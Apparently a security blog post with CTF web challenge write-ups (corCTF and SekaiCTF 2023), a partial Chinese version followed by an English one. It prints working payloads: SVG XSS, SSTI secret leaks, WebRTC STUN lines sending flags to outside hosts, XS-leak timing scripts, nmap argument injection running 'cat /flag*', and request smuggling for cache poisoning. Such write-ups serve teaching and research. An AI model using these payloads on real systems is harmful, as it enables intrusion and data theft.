參考資料:https://siunam321.github.io/ctf/corCTF-2023/web/msfrognymize/
這題使用了一個叫做 svg-loader 的 library,可以自動載入一個 SVG URL,因此這題是基於 SVG 的 XSS。
在引入的時候為了安全性,會自動把 script 以及 inline script 等等的東西移除,但是漏掉了 <foreignObject>
這個東西,這標籤可以讓你在 SVG 裡面載入 HTML,搭配 iframe srcdoc 來使用就可以繞過:
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <foreignObject> <iframe srcdoc="<script>alert(document.domain)</script>"></iframe> </foreignObject></svg>
再來就是繞過 CSP,這題最後是用 <base>
來改變 script 載入的位置來達成。
參考資料:
而 Renwa 的解法則是在 iframe 裡面重建 app,並藉由 Next.js 的特性來插入 script:https://gist.github.com/RenwaX23/75f945e25123442ea341d855c22be9dd
這題就是找到 YouTube 上的 open redirect,簡單明瞭。
@EhhThing 提供的(點了會登出),串了兩層 open redirect:
@pew 提供的:
https://www.youtube.com/attribution_link?u=https://m.youtube.com@pew.com/pew
這個比較特別,其實 YouTube 影片敘述的連結每一個都會產生一個 redirect link,但是在網頁上都有綁定 session ID,所以換個裝置就不能使用了,而這個是在 mobile app 上面產生的,可以是因為 mobile app 沒有 cookie 所以不受限制,有趣。
第一步是用 tera 的 SSTI leak 出環境變數:{{ get_env(name="SECRET") }}
再來可以用 WebRTC 去繞過 CSP:
<script>async function a(){ c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]} (p=new RTCPeerConnection(c)).createDataChannel("d") await p.setLocalDescription()}a();</script>
有了這兩個之後就可以偽造出一個 admin session 然後拿到 flag。
參考資料:
這題在比賽中的時候有解開,簡單來講就是給你一個 free HTML injection 以及嚴格的 CSP:
Content-Security-Policy "script-src 'none'; object-src 'none'; frame-ancestors 'none';";
然後有一個 search API,成功會回傳 200,失敗回傳 404,要想辦法利用這個去 leak flag。
這題的重點之一是 CSP header 是 nginx 加上的,而 nginx 只有對 2xx 跟 3xx 會加上 header,因此如果搜尋失敗回傳 404,這個頁面是不會有 CSP 的。
因此我那時候就想出了一個用 cache probing 的方式。
我們在 note 裡面插入 <iframe src=search?q=a>
,如果沒有找到東西,那就沒有 CSP,所以 iframe 的內容會被載入,頁面上的 CSS 也會被載入。反之,因為違反 CSP,沒有東西會被載入。
因此可以透過「CSS 有沒有被放到 cache 中」這點去 leak 出搜尋有沒有找到東西。
那時候實作的程式碼如下:
<script> const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)) async function clearCache() { let controller = new AbortController(); let signal = controller.signal; fetch('https://leakynote.be.ax/assets/normalize.css',{ mode: "no-cors", signal: signal, cache: 'reload' }) await sleep(0) controller.abort(); await sleep(100) } async function testNote(title, url) { // open note page var w = window.open(url) // wait 1s await sleep(1000) // clear cache and wait again await clearCache() await sleep(1500) // now the iframe should load, do cache probing const now = performance.now() await fetch('https://leakynote.be.ax/assets/normalize.css', { mode: 'no-cors', cache: 'force-cache' }) const end = performance.now() fetch(`/report?title=${title}&ms=${end-now}`) if (end-now >= 4) { fetch('/maybe/' + title) } // cached(no result) => 2~3ms // no cache(found) => 4.8~5.8ms w.close() } // copy paste the following from python script async function main() { await testNote('{a','https://leakynote.be.ax/post.php?id=c9193aee91b0fc29')await testNote('{c','https://leakynote.be.ax/post.php?id=9f2d1bd495927bc2')await testNote('{d','https://leakynote.be.ax/post.php?id=0c6caa61575b9478')await testNote('{e','https://leakynote.be.ax/post.php?id=071e07ec5b7fc2be')await testNote('{f','https://leakynote.be.ax/post.php?id=71652df64d54c0e4')await testNote('{g','https://leakynote.be.ax/post.php?id=354f3bec25e02332')await testNote('{k','https://leakynote.be.ax/post.php?id=066aa475493e1a4c')await testNote('{l','https://leakynote.be.ax/post.php?id=54a12f7b11098d2a')await testNote('{o','https://leakynote.be.ax/post.php?id=621591145bcfc8e0')await testNote('{r','https://leakynote.be.ax/post.php?id=6b44725cb5e274f0')await testNote('{t','https://leakynote.be.ax/post.php?id=e025b26e5e7117a1')await testNote('{y','https://leakynote.be.ax/post.php?id=f10001d89230485e')await testNote('{z','https://leakynote.be.ax/post.php?id=a71fc5d1ff81edad') } main()</script>
賽後看到另外兩位的解法也很有趣,其中一個是透過載入字體來 leak,當你這樣做的時候:
@font-face { font-family: a; src: url(/time-before),url(/search.php?query=corctf{a),url(/search.php?query=corctf{a),... /*10000 times */,url(/time-after)}
Chrome 會根據 status code 來判斷怎麼處理,如果是 200 就會偵測是不是合法的字體,如果是 404 就直接失敗,因此可以用字體載入的時間來判斷 status code。
ref: https://gist.github.com/parrot409/09688d0bb81acbe8cd1a10cfdaa59e45
另一位也是利用 CSS 檔案有沒有載入的特性,只是不是利用 cache,而是利用一次打開大量頁面造成 server side 忙碌,響應時間變慢,透過這點來判斷。
ref: https://gist.github.com/arkark/3afdc92d959dfc11c674db5a00d94c09
這題的 nginx config 長這樣:
location / { proxy_pass http://localhost:7777; location ^~ /generate { allow 127.0.0.1; deny all; } location ^~ /rename { allow 127.0.0.1; deny all; }}
所以照理來說是無法訪問到 /generate
路徑,但可以利用 gunicorn 跟 nginx 的 parser 差異來繞過:
POST /generate{chr(9)}HTTP/1.1/../../ HTTP/1.1
相關 ticket:https://github.com/benoitc/gunicorn/issues/2530
繞過之後就可以用 /generate
的功能去產生 PDF,但是因為這個 service 本身有擋一些 block list,所以沒辦法直接把 flag 變成 PDF。
解法是利用 DNS rebinding 去 POST http://localhost:7778
,就可以拿到 response。
例如說我們現在有個 domain example.com
,背後有兩個 A record,一個指向真的 ip,另一個指向 0.0.0.0,這時候 admin bot 訪問 http://example.com:7778/
,解析真的 IP,成功取得頁面。
這時我們把 server 關掉,然後去執行 fetch('http://example.com:7778/generate')
,此時因為原本的 ip 已經無法訪問,瀏覽器就會轉為 0.0.0.0,成功把 request 發到我們想要的位置,也因為是 same-origin 所以可以拿到 response。
更多細節可以參考:
找到 0 day 的 CSP bypass,沒有公開解法。
這題是找到 VM2 的 1day,沒有公開解法。
題目的原始碼都在這裡:https://github.com/project-sekai-ctf/sekaictf-2023/tree/main/web
輸入 port 跟 host,會執行底下程式碼:
nmap -p #{port} #{hostname}
但是傳入的資料會先經過 sanitizer,有字元限制。
tab 可以用,所以可以用 tab 來新增參數,比賽中的時候是用了 -iL /flag.txt -oN -
來過關的,把輸出導到 stdout,或是用 /dev/stdout
也成立。
官方的 writeup 是先用 http-fetch
這個 script 把檔案下載到本機,再跑一次 nmap --script
去執行那個腳本:
--script http-fetch -Pn --script-args http-fetch.destination={DOWNLOAD_DIR},http-fetch.url={NSE_SCRIPT}--script={DOWNLOAD_DIR}/{LHOST}/{LPORT}/{NSE_SCRIPT}
在 Discord 中看到 @zeosutt 提供另外一種有趣的解法是運用了 rack 上傳檔案會留在 /tmp/
中的技巧,直接引入上傳的檔案就好:
curl http://35.231.135.130:32190/ -F $'service=127.0.0.1:1337\t--script\t/tmp/RackMultipart?????????????????' -F '=os.execute("cat /flag*");filename=evil'
buildConstraintViolationWithTemplate
有 EL injection 的問題,剩下的是繞過 WAF。
之前有實際的產品就是出過一樣的洞:
怎麼繞的部分可以參考底下幾篇:
這題有一個 cache server + backend server,請求都會先通過 cache server 再到 backend 去,然後留一份快取在 cache server 中,而目標是要污染快取。
解法直接貼 zeyu 的 writeup,就是像 request smuggling 那樣構造出一個兩邊理解不同的請求:
GET /aaaaa HTTP/1.1Host: localhosttransfer-encoding: chunkedContent-Length: 1020GET /post/56e02543-8616-4536-9062-f18a4a466a03/e85a6915-0fe6-4ca6-a5e7-862d00bca6e5 HTTP/1.1X: GET /56e02543-8616-4536-9062-f18a4a466a03/.well-known/jwks.json HTTP/1.1Host: localhost
cache server 會看 Content-Length
,把第二個請求看作是 GET /56e02543-8616-4536-9062-f18a4a466a03/.well-known/jwks.json
,而 backend server 看 transfer-encoding
,所以看作是 GET /post/56e02543-8616-4536-9062-f18a4a466a03/e85a6915-0fe6-4ca6-a5e7-862d00bca6e5
,如此一來就能用另一個 path 的 response 去污染 jwks.json,達成 cache poisoning
這題我有認真解,大概花了一天左右,覺得很有趣,而且程式碼很精簡。
<?php header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';"); header("Cross-Origin-Opener-Policy: same-origin"); $payload = "🚩🚩🚩"; if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) { $payload = $_GET["xss"]; } $flag = "SEKAI{test_flag}"; if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) { $flag = $_COOKIE["flag"]; }?><!DOCTYPE html><html> <body> <iframe sandbox="allow-scripts" srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>" ></iframe> </body></html>
給你一個 30 字的 free XSS,要能執行任意程式碼。
這邊的巧妙之處是用了 <iframe srcdoc>
搭配 sandbox=allow-scripts
,創造出一個可以執行程式碼,但同時 origin 又是 null
,而且 CSP 還繼承上層的執行環境。
因此你無法存取到 top 的任何資訊,包括 name 或是 location 之類的都不行。
到處找來找去之後在 document 裡面找到了 baseURI
,發現它的值原來會繼承上層,而且是完整的 path,所以用 <svg/onload=eval("'"+baseURI)>
以後搭配 hash 就可以執行任意程式碼了,剛好 30 個字。
這邊之所以可以用 baseURI
就可以存取到 document.baseURI
,是因為 inline event handler 的 scope 會自動被加上 document,這我在接觸資安才發現我不懂前端這篇裡面有寫到過。
有了 XSS 以後,可以用 document.childNodes[0].nodeValue
把 flag 取出來,最後的問題就是要怎麼傳出去。這題 CSP 很嚴格,而且重新導向又不能使用,也不能 window.open
(話說我覺得這個網頁不用開啟新的 navigate-to
就可以達到類似的效果,很厲害),那就只能用一些現成的繞過了。
我先試了 dns prefetch 但是沒用,發現 Chrome 在 112 的時候 release 了 Feature: Resoure Hint “Least Restrictive” CSP,或許這就是原因?
但沒關係,WebRTC 還是有用的,只是我自己試很久都沒試出來怎麼用,最後是看別題的 writeup,直接拿裡面 payload 出來用,再搭配 DNS:
var flag = document.childNodes[0].nodeValue.trim() .replace("SEKAI{", "").replace("}", "") .split("").map(c => c.charCodeAt(0)).join(".");var p = new RTCPeerConnection({ iceServers: [{ urls: "stun:" + flag + ".29e6037fd1.ipv6.1433.eu.org:1337" }]});p.createDataChannel("d");p.setLocalDescription()
前面寫過的 leakynote 的進階版,這次 CSP 變嚴格,多了 default-src 'self'
,然後頁面上也沒有其他 css 檔案了。
情境一樣,有一個 iframe,可能會載入可能沒載入,要能偵測到這點。
作者 strellic 的解法是:
// leakless note oracleconst oracle = async (w, href) => { const runs = []; for (let i = 0; i < 8; i++) { const samples = []; for (let j = 0; j < 600; j++) { const b = new Uint8Array(1e6); const t = performance.now(); w.frames[0].postMessage(b, "*", [b.buffer]); samples.push(performance.now() - t); delete b; } runs.push(samples.reduce((a,b)=>a+b, 0)); w.location = href; await sleep(500); // rate limit await waitFor(w); } runs.sort((a,b) => a-b); return { median: median(runs.slice(2, -2)), sum: runs.slice(2, -2).reduce((a,b)=>a+b,0), runs }}
當你對 iframe 送一個很大的 message 的時候,花費的時間會不一樣。
另一隊似乎是開了 1000 個 tab 然後去測網路的時間,現在想想發現好像還滿合理的?如果 iframe 是 200 的話就會發出一堆 request,拖慢網路速度。
]]>As usual, here are the keywords I noted:
The source code for the challenges is available here: https://github.com/Crusaders-of-Rust/corCTF-2023-public-challenge-archive/tree/master/web
Write-ups for some of the web challenges: https://brycec.me/posts/corctf_2023_challenges
The PIN code has 10,000 possible values, and you need to find the correct value within 10 requests using a GraphQL query.
The solution is to use batch query + alias, which allows you to try multiple times within a single request (taken from the article below):
{ flag0:flag(pin:0), flag1:flag(pin:1), flag2:flag(pin:2), flag3:flag(pin:3), flag4:flag(pin:4), flag5:flag(pin:5)}
Write-ups by others:
The key is in this piece of code:
@app.route('/anonymized/<image_file>')def serve_image(image_file): file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file)) if ".." in file_path or not os.path.exists(file_path): return f"Image {file_path} cannot be found.", 404 return send_file(file_path, mimetype='image/png')
Python’s os.path.join
has a well-known behavior where it ignores everything before the absolute path:
>>> os.path.join('/tmp/abc', 'test.txt')'/tmp/abc/test.txt'>>> os.path.join('/tmp/abc', '/test.txt')'/test.txt'
Therefore, by leveraging this behavior, you can achieve arbitrary file reading and obtain the flag.
Reference: https://siunam321.github.io/ctf/corCTF-2023/web/msfrognymize/
This challenge uses a library called svg-loader, which automatically loads an SVG URL. Therefore, this challenge is based on SVG XSS.
During the import, for security reasons, scripts and inline scripts are automatically removed, but <foreignObject>
is overlooked. This tag allows you to load HTML inside an SVG, and it can be bypassed by using iframe srcdoc:
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <foreignObject> <iframe srcdoc="<script>alert(document.domain)</script>"></iframe> </foreignObject></svg>
Next, you need to bypass CSP. In this challenge, <base>
is used to change the location of script loading.
References:
Renwa’s solution involves rebuilding the app inside an iframe and inserting a script using Next.js features: https://gist.github.com/RenwaX23/75f945e25123442ea341d855c22be9dd
This challenge is about finding an open redirect on YouTube.
@EhhThing provided a solution (clicking will log you out) that involves two layers of open redirect:
@pew provided:
https://www.youtube.com/attribution_link?u=https://m.youtube.com@pew.com/pew
This one is special. In fact, each link in the YouTube video description generates a redirect link, but they are bound to session IDs on the webpage. Therefore, if you switch devices, you cannot use them. However, this link was generated on the mobile app, which may be because the mobile app does not have cookies and is not restricted. Interesting.
The first step is to use tera’s SSTI to leak environment variables: {{ get_env(name="SECRET") }}
Then, you can bypass CSP using WebRTC:
<script>async function a(){ c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]} (p=new RTCPeerConnection(c)).createDataChannel("d") await p.setLocalDescription()}a();</script>
With these two steps, you can forge an admin session and obtain the flag.
References:
This challenge was solved during the competition. In simple terms, it provides a free HTML injection and a strict CSP:
Content-Security-Policy "script-src 'none'; object-src 'none'; frame-ancestors 'none';";
There is also a search API that returns 200 for success and 404 for failure. The goal is to find a way to leak the flag using this API.
One of the key points of this challenge is that the CSP header is added by nginx, and nginx only adds the header for 2xx and 3xx responses. Therefore, if the search fails and returns 404, the page will not have a CSP.
So, I came up with a cache probing method.
We insert <iframe src=search?q=a>
into the note. If nothing is found, there is no CSP, so the content of the iframe will be loaded, and the CSS on the page will also be loaded. On the other hand, because it violates the CSP, nothing will be loaded.
Therefore, we can use the “whether CSS is cached” point to determine if the search found anything.
At that time, the implemented code was as follows:
<script> const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)) async function clearCache() { let controller = new AbortController(); let signal = controller.signal; fetch('https://leakynote.be.ax/assets/normalize.css',{ mode: "no-cors", signal: signal, cache: 'reload' }) await sleep(0) controller.abort(); await sleep(100) } async function testNote(title, url) { // open note page var w = window.open(url) // wait 1s await sleep(1000) // clear cache and wait again await clearCache() await sleep(1500) // now the iframe should load, do cache probing const now = performance.now() await fetch('https://leakynote.be.ax/assets/normalize.css', { mode: 'no-cors', cache: 'force-cache' }) const end = performance.now() fetch(`/report?title=${title}&ms=${end-now}`) if (end-now >= 4) { fetch('/maybe/' + title) } // cached(no result) => 2~3ms // no cache(found) => 4.8~5.8ms w.close() } // copy paste the following from python script async function main() { await testNote('{a','https://leakynote.be.ax/post.php?id=c9193aee91b0fc29')await testNote('{c','https://leakynote.be.ax/post.php?id=9f2d1bd495927bc2')await testNote('{d','https://leakynote.be.ax/post.php?id=0c6caa61575b9478')await testNote('{e','https://leakynote.be.ax/post.php?id=071e07ec5b7fc2be')await testNote('{f','https://leakynote.be.ax/post.php?id=71652df64d54c0e4')await testNote('{g','https://leakynote.be.ax/post.php?id=354f3bec25e02332')await testNote('{k','https://leakynote.be.ax/post.php?id=066aa475493e1a4c')await testNote('{l','https://leakynote.be.ax/post.php?id=54a12f7b11098d2a')await testNote('{o','https://leakynote.be.ax/post.php?id=621591145bcfc8e0')await testNote('{r','https://leakynote.be.ax/post.php?id=6b44725cb5e274f0')await testNote('{t','https://leakynote.be.ax/post.php?id=e025b26e5e7117a1')await testNote('{y','https://leakynote.be.ax/post.php?id=f10001d89230485e')await testNote('{z','https://leakynote.be.ax/post.php?id=a71fc5d1ff81edad') } main()</script>
After the competition, I saw two other interesting solutions. One of them leaks the information by loading fonts. When you do this:
@font-face { font-family: a; src: url(/time-before),url(/search.php?query=corctf{a),url(/search.php?query=corctf{a),... /*10000 times */,url(/time-after)}
Chrome determines how to handle it based on the status code. If it is 200, it checks if it is a valid font. If it is 404, it fails directly. Therefore, you can use the loading time of the font to determine the status code.
ref: https://gist.github.com/parrot409/09688d0bb81acbe8cd1a10cfdaa59e45
The other solution also utilizes the feature of whether the CSS file is loaded, but instead of using cache, it causes server-side busyness by opening a large number of pages at once and slows down the response time to determine.
ref: https://gist.github.com/arkark/3afdc92d959dfc11c674db5a00d94c09
The nginx config for this challenge looks like this:
location / { proxy_pass http://localhost:7777; location ^~ /generate { allow 127.0.0.1; deny all; } location ^~ /rename { allow 127.0.0.1; deny all; }}
So, theoretically, accessing the /generate
path should not be possible. However, you can bypass it by exploiting the difference between gunicorn and nginx parsers:
POST /generate{chr(9)}HTTP/1.1/../../ HTTP/1.1
Related ticket: https://github.com/benoitc/gunicorn/issues/2530
After bypassing, you can use the /generate
function to generate a PDF. However, because this service blocks some keywords, it is not possible to directly convert the flag into a PDF.
The solution is to use DNS rebinding to POST to http://localhost:7778
and retrieve the response.
For example, if we have a domain example.com
with two A records, one pointing to the actual IP and the other pointing to 0.0.0.0, when the admin bot visits http://example.com:7778/
, it resolves the actual IP and successfully retrieves the page.
At this point, we shut down the server and execute fetch('http://example.com:7778/generate')
. Since the original IP is no longer accessible, the browser will fallback to 0.0.0.0 and successfully send the request to the desired location. Because it is same-origin, we can also retrieve the response.
For more details, please refer to:
Found a CSP bypass for 0-day, no public solution available.
This challenge involves finding a 1-day for VM2, no public solution available.
The source code for the challenges is available here: https://github.com/project-sekai-ctf/sekaictf-2023/tree/main/web
Input the port and host, and the following code will be executed:
nmap -p #{port} #{hostname}
However, the input data goes through a sanitizer with character restrictions.
Tabs can be used, so you can use tabs to add parameters. During the competition, -iL /flag.txt -oN -
was used to pass the challenge, redirecting the output to stdout, or using /dev/stdout
is also valid.
The official writeup suggests using the http-fetch
script to download the file to the local machine, and then running nmap --script
to execute that script:
--script http-fetch -Pn --script-args http-fetch.destination={DOWNLOAD_DIR},http-fetch.url={NSE_SCRIPT}--script={DOWNLOAD_DIR}/{LHOST}/{LPORT}/{NSE_SCRIPT}
In Discord, @zeosutt provided an interesting alternative solution that utilizes the technique of uploaded files being stored in /tmp/
on the rack server. You can directly import the uploaded file:
curl http://35.231.135.130:32190/ -F $'service=127.0.0.1:1337\t--script\t/tmp/RackMultipart?????????????????' -F '=os.execute("cat /flag*");filename=evil'
There is an EL injection vulnerability in buildConstraintViolationWithTemplate
, and the remaining challenge is to bypass the WAF.
Similar vulnerabilities have been found in actual products:
For the bypassing part, you can refer to the following resources:
This challenge involves a cache server and a backend server. All requests go through the cache server before reaching the backend, and a copy of the response is stored in the cache server as a cache. The goal is to poison the cache.
The solution is to construct a request that is interpreted differently by the cache server and the backend server, similar to request smuggling. Here is the solution provided by zeyu:
GET /aaaaa HTTP/1.1Host: localhosttransfer-encoding: chunkedContent-Length: 1020GET /post/56e02543-8616-4536-9062-f18a4a466a03/e85a6915-0fe6-4ca6-a5e7-862d00bca6e5 HTTP/1.1X: GET /56e02543-8616-4536-9062-f18a4a466a03/.well-known/jwks.json HTTP/1.1Host: localhost
The cache server interprets the second request as GET /56e02543-8616-4536-9062-f18a4a466a03/.well-known/jwks.json
based on the Content-Length
header, while the backend server interprets it as GET /post/56e02543-8616-4536-9062-f18a4a466a03/e85a6915-0fe6-4ca6-a5e7-862d00bca6e5
based on the transfer-encoding
header. This way, we can use the response from another path to poison the jwks.json file and achieve cache poisoning.
I have solved this challenge, which took me about a day. I found it very interesting, and the code is concise.
<?php header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';"); header("Cross-Origin-Opener-Policy: same-origin"); $payload = "🚩🚩🚩"; if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) { $payload = $_GET["xss"]; } $flag = "SEKAI{test_flag}"; if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) { $flag = $_COOKIE["flag"]; }?><!DOCTYPE html><html> <body> <iframe sandbox="allow-scripts" srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>" ></iframe> </body></html>
You are given a 30-character free XSS payload, and the goal is to execute arbitrary code.
The clever part here is the use of <iframe srcdoc>
with sandbox=allow-scripts
to create an environment where code can be executed, but the origin is null
, and the CSP (Content Security Policy) inherits the execution environment from the parent.
Therefore, you cannot access any information from the top, including name
or location
.
After searching around, I found baseURI
in the document
, which I discovered inherits the value from the parent and contains the complete path. So, by using <svg/onload=eval("'"+baseURI)>
along with a hash, we can execute arbitrary code within the 30-character limit.
The reason we can use baseURI
to access document.baseURI
is that the scope of inline event handlers is automatically added to the document. I wrote about this in my blog post Discovering My Lack of Front-end Knowledge through Cybersecurity.
Once we have XSS, we can use document.childNodes[0].nodeValue
to retrieve the flag. The final challenge is how to exfiltrate the flag. The CSP in this challenge is strict, and we cannot use redirects or window.open
(the challenge blocks navigation without using the new navigate-to
directive, it’s impressive). So, we have to rely on some existing bypass techniques.
I first tried DNS prefetch, but it didn’t work. I found out that Chrome released a feature called Resoure Hint “Least Restrictive” CSP in version 112, which might be the reason.
But no worries, WebRTC is still useful. However, I couldn’t figure out how to use it even after trying for a long time. In the end, I found a payload in another team’s write-up on CTFtime and combined it with DNS:
var flag = document.childNodes[0].nodeValue.trim() .replace("SEKAI{", "").replace("}", "") .split("").map(c => c.charCodeAt(0)).join(".");var p = new RTCPeerConnection({ iceServers: [{ urls: "stun:" + flag + ".29e6037fd1.ipv6.1433.eu.org:1337" }]});p.createDataChannel("d");p.setLocalDescription()
This is an advanced version of the previously mentioned “leakynote” challenge. This time, the CSP is stricter with the addition of default-src 'self'
, and there are no other CSS files on the page.
The scenario is the same: there is an iframe that may or may not load, and the goal is to detect this.
The solution provided by strellic is as follows:
// leakless note oracleconst oracle = async (w, href) => { const runs = []; for (let i = 0; i < 8; i++) { const samples = []; for (let j = 0; j < 600; j++) { const b = new Uint8Array(1e6); const t = performance.now(); w.frames[0].postMessage(b, "*", [b.buffer]); samples.push(performance.now() - t); delete b; } runs.push(samples.reduce((a,b)=>a+b, 0)); w.location = href; await sleep(500); // rate limit await waitFor(w); } runs.sort((a,b) => a-b); return { median: median(runs.slice(2, -2)), sum: runs.slice(2, -2).reduce((a,b)=>a+b,0), runs }}
When you send a large message to the iframe, the time it takes will be different.
Another team opened 1000 tabs and measured the network time. In hindsight, it seems quite reasonable. If the iframe has a status code of 200, it will generate a lot of requests, slowing down the network speed.
]]>